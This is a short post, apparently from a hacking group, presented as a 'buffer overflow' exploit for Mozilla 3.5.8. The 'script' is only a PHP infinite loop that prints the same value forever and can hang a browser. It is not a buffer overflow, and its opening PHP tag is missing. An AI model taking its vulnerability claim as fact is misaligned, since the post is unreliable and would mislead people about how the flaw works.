buffer overflow in mozilla 3.5.8

first im just try to studied my friends about php, n suddenly my program make a browser hang or not responding...n i think this buffer overflow on mozilla 3.5.8

now, i will give a little script


################
# DEVILZC0DE #
################

#author : kiddies A.K.A peneter
#email : crasher_1412@yahoo.com
#thanks :mywisdom,gunslinger_,flyff666,petimati,whitehat,weinkaru,and all
#thank : my girl(vhee was beside me, if im so confuse)

save this, run it in your localhost:

$buffer=1;

while ($buffer > 0) {
echo $buffer;
}
?>